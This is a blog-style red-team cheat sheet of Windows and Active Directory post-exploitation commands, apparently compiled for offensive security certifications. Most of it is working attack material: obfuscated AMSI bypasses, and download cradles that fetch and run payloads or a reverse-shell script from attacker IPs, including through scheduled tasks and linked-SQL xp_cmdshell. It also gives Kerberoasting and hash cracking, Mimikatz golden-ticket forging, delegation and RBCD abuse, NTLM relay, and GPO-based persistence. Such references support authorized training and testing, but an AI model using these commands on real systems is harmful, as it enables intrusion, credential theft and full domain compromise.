Last update: November 3rd, 2021
Updated November 3rd, 2021: Included several fixes and actualized some techniques. Changes made to the Defender evasion, RBCD, Domain Enumeration, Rubeus, and Mimikatz sections. Fixed some whoopsies as well 🙃.
Updated June 5th, 2021: I have made some more changes to this post based on (among others) techniques discussed in ZeroPointSecurity’s ‘Red Team Ops’ course (for the CRTO certification). I’ve re-written and improved many sections. New sections have been added on DPAPI and GPO abuse. Notable changes have been made to the the sections on LAPS, AppLocker & CLM, PowerView, and Overpass-the-Hash with Rubeus. Enjoy! :)
Updated March 26th, 2021: This blog post has been updated based on some tools and techniques from Offensive Security’s PEN-300 course (for the accompanying OSEP certification). Notable changes have been made in the sections on delegation, inter-forest exploitation, and lateral movement through MSSQL servers. Some other changes and clarifications have been made throughout the post.
Since I recently completed my CRTP and CRTE exams, I decided to compile a list of my most-used techniques and commands for Microsoft Windows and Active Directory (post-)exploitation. It is largely aimed at completing these two certifications, but should be useful in a lot of cases when dealing with Windows / AD exploitation.
That being said - it is far from an exhaustive list. If you feel any important tips, tricks, commands or techniques are missing from this list just get in touch. I will try to keep it updated as much as possible!
Many items of this list are shamelessly stolen from certification courses (that come highly recommended) that discuss Active Directory, such as CRTP, CRTE, OSEP, and CRTO. If you are looking for the cheat sheet and command reference I used for OSCP, please refer to this post.
Note: I tried to highlight some poor OpSec choices for typical red teaming engagements with 🚩. I will likely have missed some though, so make sure you understand what you are running before you run it!
Patching the Anti-Malware Scan Interface (AMSI) will help bypass AV warnings triggered when executing PowerShell scripts (or other AMSI-enabled content, such as JScript) that are marked as malicious. Do not use as-is in covert operations, as they will get flagged 🚩. Obfuscate, or even better, eliminate the need for an AMSI bypass altogether by altering your scripts to beat signature-based detection.
‘Plain’ AMSI bypass example:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Obfuscation example for copy-paste purposes:
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
Another bypass, which is not detected by PowerShell autologging:
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)
More bypasses here. For obfuscation, check Invoke-Obfuscation, or get a custom-generated obfuscated version at amsi.fail.
Proxy-aware:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')
Non-proxy aware:
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.16.7/PowerView.obs.ps1',$false);$h.send();iex $h.responseText
Again, this will likely get flagged 🚩. For opsec-safe download cradles, check out Invoke-CradleCrafter.
Ensure that the referenced class and main methods are public
before running this. Note that a process-wide AMSI bypass may be required for this to work if the content is detected, refer here for details.
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()
# Download and run Rubeus, with arguments (make sure to split the args)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://192.168.119.155/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")
# Powershell 4+
## You can use 'IWR' as a shorthand
Invoke-WebRequest "http://10.10.16.7/Rev.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Rev.exe"
Base64-encode a PowerShell command in the right format:
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
Or, the Linux version of the above:
echo 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")' | iconv -t utf-16le | base64 -w 0
Encode existing script, copy to clipboard:
[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\path\to\PowerView.ps1')) | clip
Run it, bypassing execution policy.
Powershell -EncodedCommand $encodedCommand
If you have Nishang handy, you can use Invoke-Encode.ps1.
Though the below gives a good reperesentation of the commands that usually come in most useful for me, this only scratches the surface of what PowerView can do. PowerView is available here.
# Get all users in the current domain
Get-DomainUser | select -ExpandProperty cn
# Get all computers in the current domain
Get-DomainComputer
# Get all domains in current forest
Get-ForestDomain
# Get domain/forest trusts
Get-DomainTrust
Get-ForestTrust
# Get information for the DA group
Get-DomainGroup "Domain Admins"
# Find members of the DA group
Get-DomainGroupMember "Domain Admins" | select -ExpandProperty membername
# Find interesting shares in the domain, ignore default shares, and check access
Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess
# Get OUs for current domain
Get-DomainOU -FullData
# Get computers in an OU
# %{} is a looping statement
Get-DomainOU -name Servers | %{ Get-DomainComputer -SearchBase $_.distinguishedname } | select dnshostname
# Get GPOs applied to a specific OU
Get-DomainOU *WS* | select gplink
Get-DomainGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"
# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domain
Get-DomainGPOLocalGroup -ResolveMembersToSIDs | select GPODisplayName, GroupName, GroupMemberOf, GroupMembers
# Get the computers where users are part of a local group through a GPO restricted group
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
# Find principals that can create new GPOs in the domain
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=targetdomain,DC=com" -ResolveGUIDs | ?{ $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier
# Find principals that can link GPOs to OUs
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, SecurityIdentifier
# Get incoming ACL for a specific object
Get-DomainObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights
# Find interesting ACLs for the entire domain, show in a readable (left-to-right) format
Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft
# Get interesting outgoing ACLs for a specific user or group
# ?{} is a filter statement
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights
Identify the local AppLocker policy. Look for exempted binaries or paths to bypass.
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Get a remote AppLocker policy, based on the Distinguished Name of the respective Group Policy (you could identify this e.g. in BloodHound).
Get-AppLockerPolicy -Domain -LDAP "LDAP://targetdomain.com/CN={16641EA1-8DD3-4B33-A17F-9F259805B8FF},CN=Policies,CN=System,DC=targetdomain,DC=com" | select -expandproperty RuleCollections
Some high-level bypass techniques:
C:\Windows
are allowed (default behavior), try dropping your binaries to C:\Windows\Temp
or C:\Windows\Tasks
. If there are no writable subdirectories but writable files exist in this directory tree, write your file to an alternate data stream (e.g. a JScript script) and execute it from there.rundll32
to bypass executable rules if DLL execution is not enforced (default behavior).wmic
.Sometimes you may find yourself in a PowerShell session that enforces Constrained Language Mode (CLM). This is often the case when you’re operating in an environment that enforces AppLocker (see above).
You can identify you’re in constrained language mode by polling the following variable to get the current language mode. It will say FullLanguage
for an unrestricted session, and ConstrainedLanguage
for CLM. There are other language modes which I will not go into here.
$ExecutionContext.SessionState.LanguageMode
The constraints posed by CLM will block many of your exploitations attempts as key functionality in PowerShell is blocked. Bypassing CLM is largely the same as bypassing AppLocker as discussed above. Another way of bypassing CLM is to bypass AppLocker to execute binaries that execute a custom PowerShell runspace (e.g. Stracciatella) which will be unconstrained.
Another quick and dirty bypass is to use in-line functions, which sometimes works. If e.g. whoami
is blocked, try the following:
The Local Administrative Password Solution (LAPS) is Microsoft’s product for managing local admin passwords in the context of an Active Directory domain. It frequently generates strong and unique passwords for the local admin users of enrolled machines. This password property and its expiry time are then written to the computer object in Active Directory. Read access to LAPS passwords is only granted to Domain Admins by default, but often delegated to special groups.
The permission ReadLAPSPassword
grants users or groups the ability to read the ms-Mcs-AdmPwd
property and as such get the local admin password. You can look for this property using e.g. BloodHound or PowerView. We can also use PowerView to read the password, if we know that we have the right ReadLAPSPassword
privilege to a machine.
Get-DomainComputer -identity LAPS-COMPUTER -properties ms-Mcs-AdmPwd
We can also use LAPSToolkit.ps1 to identify which machines in the domain use LAPS, and which principals are allowed to read LAPS passwords. If we are in this group, we can get the current LAPS passwords using this tool as well.
# Get computers running LAPS, along with their passwords if we're allowed to read those
Get-LAPSComputers
# Get groups allowed to read LAPS passwords
Find-LAPSDelegatedGroups
# Find existing local admin access for user (noisy 🚩)
Find-LocalAdminAccess
# Hunt for sessions of interesting users on machines where you have access (also noisy 🚩)
Find-DomainUserLocation -CheckAccess | ?{$_.LocalAdmin -Eq True }
# Look for kerberoastable users
Get-DomainUser -SPN | select name,serviceprincipalname
# Look for AS-REP roastable users
Get-DomainUser -PreauthNotRequired | select name
# Look for interesting ACL within the domain, filtering on a specific user or group you have compromised
## Exploitation depends on the identified ACL, some techniques are discussed in this cheat sheet
## Example for GenericWrite on user: Disable preauth or add SPN for targeted kerberoast (see below)
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "UserOrGroupToQuery"}
# Look for servers with Unconstrained Delegation enabled
## If available and you have admin privs on this server, get user TGT (see below)
Get-DomainComputer -Unconstrained
# Look for users or computers with Constrained Delegation enabled
## If available and you have user/computer hash, access service machine as DA (see below)
Get-DomainUser -TrustedToAuth | select userprincipalname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
Use Invoke-BloodHound
from SharpHound.ps1
, or use SharpHound.exe
. Both can be run reflectively, get them here. Examples below use the PowerShell variant but arguments are identical.
# Run all checks, including restricted groups enforced through the domain 🚩
Invoke-BloodHound -CollectionMethod All,GPOLocalGroup
# Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts so is VERY noisy 🚩
Invoke-BloodHound -CollectionMethod LoggedOn
For real engagements definitely look into the various arguments that BloodHound provides for more stealthy collection and exfiltration of data.
With PowerView:
Get-DomainSPNTicket -SPN "MSSQLSvc/sqlserver.targetdomain.com"
Crack the hash with Hashcat:
hashcat -a 0 -m 13100 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule
# Request TGS for kerberoastable account (SPN)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlserver.targetdomain.com"
# Dump TGS to disk
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Crack with TGSRepCrack
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssqlsvc.kirbi
We need have ACL write permissions to set UserAccountControl flags for the target user, see above for identification of interesting ACLs. Using PowerView:
Set-DomainObject -Identity TargetUser -Set @{serviceprincipalname='any/thing'}
Get the hash for a roastable user (see above for hunting). Using ASREPRoast.ps1
:
Get-ASREPHash -UserName TargetUser
Crack the hash with Hashcat:
hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule
Again, we need ACL write permissions to set UserAccountControl flags for the target user. Using PowerView:
Set-DomainObject -Identity TargetUser -XOR @{useraccountcontrol=4194304}
Tokens can be impersonated from other users with a session/running processes on the machine. Most C2 frameworks have functionality for this built-in (such as the ‘Steal Token’ functionality in Cobalt Strike).
# Show tokens on the machine
.\incognito.exe list_tokens -u
# Start new process with token of a specific user
.\incognito.exe execute -c "domain\user" C:\Windows\system32\calc.exe
If you’re using Meterpreter, you can use the built-in Incognito module with
use incognito
, the same commands are available.
# Show all tokens on the machine
Invoke-TokenManipulation -ShowAll
# Show only unique, usable tokens on the machine
Invoke-TokenManipulation -Enumerate
# Start new process with token of a specific user
Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"
# Start new process with token of another process
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\calc.exe" -ProcessId 500
We can use Rubeus to execute a technique called “Overpass-the-Hash”. In this technique, instead of passing the hash directly (another technique known as Pass-the-Hash), we use the NTLM hash of an account to request a valid Kerberost ticket (TGT). We can then use this ticket to authenticate towards the domain as the target user.
# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt
# More stealthy variant, but requires the AES256 key (see 'Dumping OS credentials with Mimikatz' section)
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256KEY] /opsec /ptt
# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
Once we have a TGT as the target user, we can use services as this user in a domain context, allowing us to move laterally.
Note that Mimikatz is incredibly versatile and is discussed in multiple sections throughout this blog. Because of this, however, the binary is also very well-detected. If you need to run Mimikatz on your target (not recommended), executing a custom version reflectively is your best bet. There are also options such as Invoke-MimiKatz or Safetykatz. Note that the latter is more stealthy but does not include all functionality.
# Overpass-the-hash (more risky than Rubeus, writes to LSASS memory)
sekurlsa::pth /user:Administrator /domain:targetdomain.com /ntlm:[NTLMHASH] /run:powershell.exe
# Or, a more opsec-safe version that uses the AES256 key (similar to with Rubeus above) - works for multiple Mimikatz commands
sekurlsa::pth /user:Administrator /domain:targetdomain.com /aes256:[AES256KEY] /run:powershell.exe
# Golden ticket (domain admin, w/ some ticket properties to avoid detection)
kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt
# Silver ticket for a specific SPN with a compromised service / machine account
kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.targetdomain.com /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt
A nice overview of the SPNs relevant for offensive purposes is provided here (scroll down) and here.
Requires ‘Host’ SPN
To create a task:
# Mind the quotes. Use encoded commands if quoting becomes too much of a pain
schtasks /create /tn "shell" /ru "NT Authority\SYSTEM" /s dc.targetdomain.com /sc weekly /tr "Powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1''')'"
To trigger the task:
schtasks /RUN /TN "shell" /s dc.targetdomain.com
Requires ‘Host’ and ‘RPCSS’ SPNs
Invoke-WmiMethod win32_process -ComputerName dc.targetdomain.com -name create -argumentlist "powershell.exe -e $encodedCommand"
# with password
impacket-wmiexec DOMAIN/targetuser:[email protected]
# with hash
impacket-wmiexec DOMAIN/[email protected] -hashes :e0e223d63905f5a7796fb1006e7dc594
# with Kerberos authentication (make sure your client is setup to use the right ticket, and that you have a TGS with the right SPNs)
impacket-wmiexec DOMAIN/[email protected] -no-pass -k
Requires ‘CIFS’ and ‘HTTP’ SPNs. May also need the ‘WSMAN’ or ‘RPCSS’ SPNs (depending on OS version)
# Create credential to run as another user (not needed after e.g. Overpass-the-Hash)
# Leave out -Credential $Cred in the below commands to run as the current user instead
$SecPassword = ConvertTo-SecureString 'VictimUserPassword' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\targetuser', $SecPassword)
# Run a command remotely (can be used on multiple machines at once)
Invoke-Command -Credential $Cred -ComputerName dc.targetdomain.com -ScriptBlock {whoami; hostname}
# Launch a session as another user (prompt for password instead, for use with e.g. RDP)
Enter-PsSession -ComputerName dc.targetdomain.com -Credential DOMAIN/targetuser
# Create a persistent session (will remember variables etc.), load a script into said session, and enter a remote session prompt
$sess = New-PsSession -Credential $Cred -ComputerName dc.targetdomain.com
Invoke-Command -Session $sess -FilePath c:\path\to\file.ps1
Enter-PsSession -Session $sess
# Copy files to or from an active PowerShell remoting session
Copy-Item -Path .\Invoke-Mimikatz.ps1 -ToSession $sess -Destination "C:\Users\public\"
Unconstrained Delegation can be set on a frontend service (e.g., an IIS web server) to allow it to delegate on behalf of a user to any service in the domain (towards a backend service, such as an MSSQL database).
DACL UAC property: TrustedForDelegation
.
With administrative privileges on a server with Unconstrained Delegation set, we can dump the TGTs for other users that have a connection. If we do this successfully, we can impersonate the victim user towards any service in the domain.
With Mimikatz:
sekurlsa::tickets /export
kerberos::ptt c:\path\to\ticket.kirbi
Or with Rubeus:
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x5379f2 /nowrap
.\Rubeus.exe ptt /ticket:doIFSDCC[...]
We can also gain the hash for a domain controller machine account, if that DC is vulnerable to the printer bug. If we do this successfully, we can DCSync the domain controller (see below) to completely compromise the current domain.
On the server with Unconstrained Delegation, monitor for new tickets with Rubeus.
.\Rubeus.exe monitor /interval:5 /nowrap
From attacking machine, entice the Domain Controller to connect using the printer bug. Binary from here.
.\MS-RPRN.exe \\dc.targetdomain.com \\unconstrained-server.targetdomain.com
The TGT for the machine account of the DC should come in in the first session. We can pass this ticket into our current session to gain DCSync privileges (see below).
.\Rubeus.exe ptt /ticket:doIFxTCCBc...
Constrained delegation can be set on the frontend server (e.g. IIS) to allow it to delegate to only selected backend services (e.g. MSSQL) on behalf of the user.
DACL UAC property: TrustedToAuthForDelegation
. This allows s4u2self
, i.e. requesting a TGS on behalf of anyone to oneself, using just the NTLM password hash. This effectively allows the service to impersonate other users in the domain with just their hash, and is useful in situations where Kerberos isn’t used between the user and frontend.
DACL Property: msDS-AllowedToDelegateTo
. This property contains the SPNs it is allowed to use s4u2proxy
on, i.e. requesting a forwardable TGS for that server based on an existing TGS (often the one gained from using s4u2self
). This effectively defines the backend services that constrained delegation is allowed for.
NOTE: These properties do NOT have to exist together! If s4u2proxy
is allowed without s4u2self
, user interaction is required to get a valid TGS to the frontend service from a user, similar to unconstrained delegation.
In this case, we use Rubeus to automatically request a TGT and then a TGS with the ldap
SPN to allow us to DCSync using a machine account.
# Get a TGT using the compromised service account with delegation set (not needed if you already have an active session or token as this user)
.\Rubeus.exe asktgt /user:svc_with_delegation /domain:targetdomain.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
# Use s4u2self and s4u2proxy to impersonate the DA user to the allowed SPN
.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:time/dc /ptt
# Same as the two above steps, but access the LDAP service on the DC instead (for dcsync)
.\Rubeus.exe s4u /user:sa_with_delegation /impersonateuser:Administrator /msdsspn:time/dc /altservice:ldap /ptt /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
Resource-Based Constrained Delegation (RBCD) configures the backend server (e.g. MSSQL) to allow only selected frontend services (e.g. IIS) to delegate on behalf of the user. This makes it easier for specific server administrators to configure delegation, without requiring domain admin privileges.
DACL Property: msDS-AllowedToActOnBehalfOfOtherIdentity
.
In this scenario, s4u2self
and s4u2proxy
are used as above to request a forwardable ticket on behalf of the user. However, with RBCD, the KDC checks if the SPN for the requesting service (i.e., the frontend service) is present in the msDS-AllowedToActOnBehalfOfOtherIdentity
property of the backend service. This means that the frontend service needs to have an SPN set. Thus, attacks against RBCD have to be performed from either a service account with SPN or a machine account.
If we compromise a frontend service that appears in the RBCD property of a backend service, exploitation is the same as with constrained delegation above. This is however not too common.
A more often-seen attack to RBCD is when we have GenericWrite
, GenericAll
, WriteProperty
, or WriteDACL
permissions to a computer object in the domain. This means we can write the msDS-AllowedToActOnBehalfOfOtherIdentity
property on this machine account to add a controlled SPN or machine account to be trusted for delegation. We can even create a new machine account and add it. This allows us to compromise the target machine in the context of any user, as with constrained delegation.
# Create a new machine account using PowerMad
New-MachineAccount -MachineAccount NewMachine -Password $(ConvertTo-SecureString 'P4ssword123!' -AsPlainText -Force)
# Get SID of our machine account and bake raw security descriptor for msDS-AllowedtoActOnBehalfOfOtherIdentity property on target
$sid = Get-DomainComputer -Identity NewMachine -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
# Use PowerView to use our GenericWrite (or similar) priv to apply this SD to the target
Get-DomainComputer -Identity TargetSrv | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Finally, use Rubeus to exploit RBCD to get a TGS as admin on the target
.\Rubeus.exe s4u /user:NewMachine$ /rc4:A9A70FD4DF48FBFAB37E257CFA953312 /impersonateuser:Administrator /msdsspn:CIFS/TargetSrv.targetdomain.com /ptt
All commands must be run with DA privileges in the current domain.
Note that if you completely compromise a child domain (currentdomain.targetdomain.com
), you can by definition also compromise the parent domain (targetdomain.com
) due to the implicit trust relationship. The same counts for any trust relationship where SID filtering is disabled (see ‘Abusing inter-forest trust’ below).
From the DC, dump the hash of the currentdomain\targetdomain$
trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain’s enterprise admins group to our ‘SID history’.
kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:targetdomain.com /ticket:c:\users\public\ticket.kirbi
Pass this ticket with Rubeus.
.\Rubeus.exe asktgs /ticket:c:\users\public\ticket.kirbi /service:LDAP/dc.targetdomain.com /dc:dc.targetdomain.com /ptt
We can now DCSync the target domain (see below).
From the DC, dump the krbtgt hash using e.g. DCSync or LSADump. Then, using this hash, forge an inter-realm TGT using Mimikatz, as with the previous method.
Doing this requires the SID of the current domain as the /sid
parameter, and the SID of the target domain as part of the /sids
parameter. You can grab these using PowerView’s Get-DomainSID
. Use a SID History (/sids
) of *-516
and S-1-5-9
to disguise as the Domain Controllers group and Enterprise Domain Controllers respectively, to be less noisy in the logs.
kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /user:DC$ /groups:516 /ptt
If you are having issues creating this ticket, try adding the ‘target’ flag, e.g.
/target:targetdomain.com
.
Alternatively, generate a domain admin ticket with SID history of enterprise administrators group in the target domain.
kerberos::golden /user:Administrator /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt
We can now immediately DCSync the target domain, or get a reverse shell using e.g. scheduled tasks.
Since a forest is a security boundary, we can only access domain services that have been shared with the domain we have compromised (our source domain). Use e.g. BloodHound to look for users that have an account (with the same username) in both forests and try password re-use. Additionally, we can use BloodHound or PowerView to hunt for foreign group memberships between forests. The PowerView command:
Get-DomainForeignGroupMember -domain targetdomain.com
In some cases, it is possible that SID filtering (the protection causing the above), is disabled between forests. If you run Get-DomainTrust
and you see the TREAT_AS_EXTERNAL
property, this is the case! In this case, you can abuse the forest trust like a domain trust, as described above. Note that you still can NOT forge a ticket for any SID between 500 and 1000 though, so you can’t become DA (not even indirectly through group inheritance). In this case, look for groups that grant e.g. local admin on the domain controller or similar non-domain privileges. For more information, refer to this blog post.
To impersonate a user from our source domain to access services in a foreign domain, we can do the following. Extract inter-forest trust key as in ‘Using domain trust key’ above.
Use Mimikatz to generate a TGT for the target domain using the trust key:
Kerberos::golden /user:Administrator /service:krbtgt /domain:currentdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /target:targetdomain.com /rc4:fe8884bf222153ca57468996c9b348e9 /ticket:ticket.kirbi
Then, use Rubeus to ask a TGS for e.g. the CIFS
service on the target DC using this TGT.
.\Rubeus.exe asktgs /ticket:c:\ad\tools\eucorp-tgt.kirbi /service:CIFS/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt
Now we can use the CIFS service on the target forest’s DC as the DA of our source domain (again, as long as this trust was configured to exist).
MSSQL databases can be linked, such that if you compromise one you can execute queries (or even OS commands!) on other databases in the context of a specific user (sa
maybe? 😙). If this is configured, it can even be used to traverse Forest boundaries! If we have SQL execution, we can use the following commands to enumerate database links.
-- Find linked servers
EXEC sp_linkedservers
-- Run SQL query on linked server
select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')
-- Enable 'xp_cmdshell' on remote server and execute commands, only works if RPC is enabled
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER
EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER
We can also use PowerUpSQL to look for databases within the domain, and gather further information on (reachable) databases. We can also automatically look for, and execute queries or commands on, linked databases (even through multiple layers of database links).
# Get MSSQL databases in the domain, and test connectivity
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft
# Try to get information on all domain databases
Get-SQLInstanceDomain | Get-SQLServerInfo
# Get information on a single reachable database
Get-SQLServerInfo -Instance TARGETSERVER
# Scan for MSSQL misconfigurations to escalate to SA
Invoke-SQLAudit -Verbose -Instance TARGETSERVER
# Execute SQL query
Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER
# Run command (enables XP_CMDSHELL automatically if required)
Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" | select -ExpandProperty CommandResults
# Automatically find all linked databases
Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft
# Run command if XP_CMDSHELL is enabled on any of the linked databases
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1'')"' | select instance,links,customquery | ft
If you have low-privileged access to a MSSQL database and no links are present, you could potentially force NTLM authentication by using the xp_dirtree
stored procedure to access this share. If this is successful, the NetNTLM for the SQL service account can be collected and potentially cracked or relayed to compromise machines as that service account.
EXEC master..xp_dirtree "\\192.168.49.67\share"
Example command to relay the hash to authenticate as local admin (if the service account has these privileges) and run calc.exe
. Omit the -c
parameter to attempt a secretsdump
instead.
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.67.6 -c 'calc.exe'
If we identify that we have the permissions to edit and link new Group Policy Objects (GPOs) within the domain (refer to ‘AD Enumeration With PowerView’), we can abuse these privileges to move laterally towards other machines.
As an example, we can use the legitimate Remote System Administration Tools (RSAT) for Windows to create a new GPO, link it to the target, and deploy a registry runkey to add a command that will run automatically the next time the machine boots.
# Create a new GPO and link it to the target server
New-GPO -Name 'Totally Legit GPO' | New-GPLink -Target 'OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com'
# Link an existing GPO to another target server
New-GPLink -Target 'OU=TargetComputer2,OU=Workstations,DC=TargetDomain,DC=com' -Name 'Totally Legit GPO'
# Deploy a registry runkey via the GPO
Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString
We can also use SharpGPOAbuse to deploy an immediate scheduled task, which will run whenever the group policy is refreshed (every 1-2 hours by default). SharpGPOABuse does not create its own GPO objects, so we first have to run the commands for creating and linking GPOs listed above. After this, we can run SharpGPOAbuse to deploy the immediate task.
SharpGPOAbuse.exe --AddComputerTask --TaskName "Microsoft LEGITIMATE Hotfix" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c start calc.exe" --GPOName "Totally Legit GPO"
For more things to look for (both Windows and Linux), refer to my OSCP cheat sheet and command reference.
# Check for vulnerable programs and configs
Invoke-AllChecks
# Exploit vulnerable service permissions (does not require touching disk)
Invoke-ServiceAbuse -Name "VulnerableSvc" -Command "net localgroup Administrators DOMAIN\user /add"
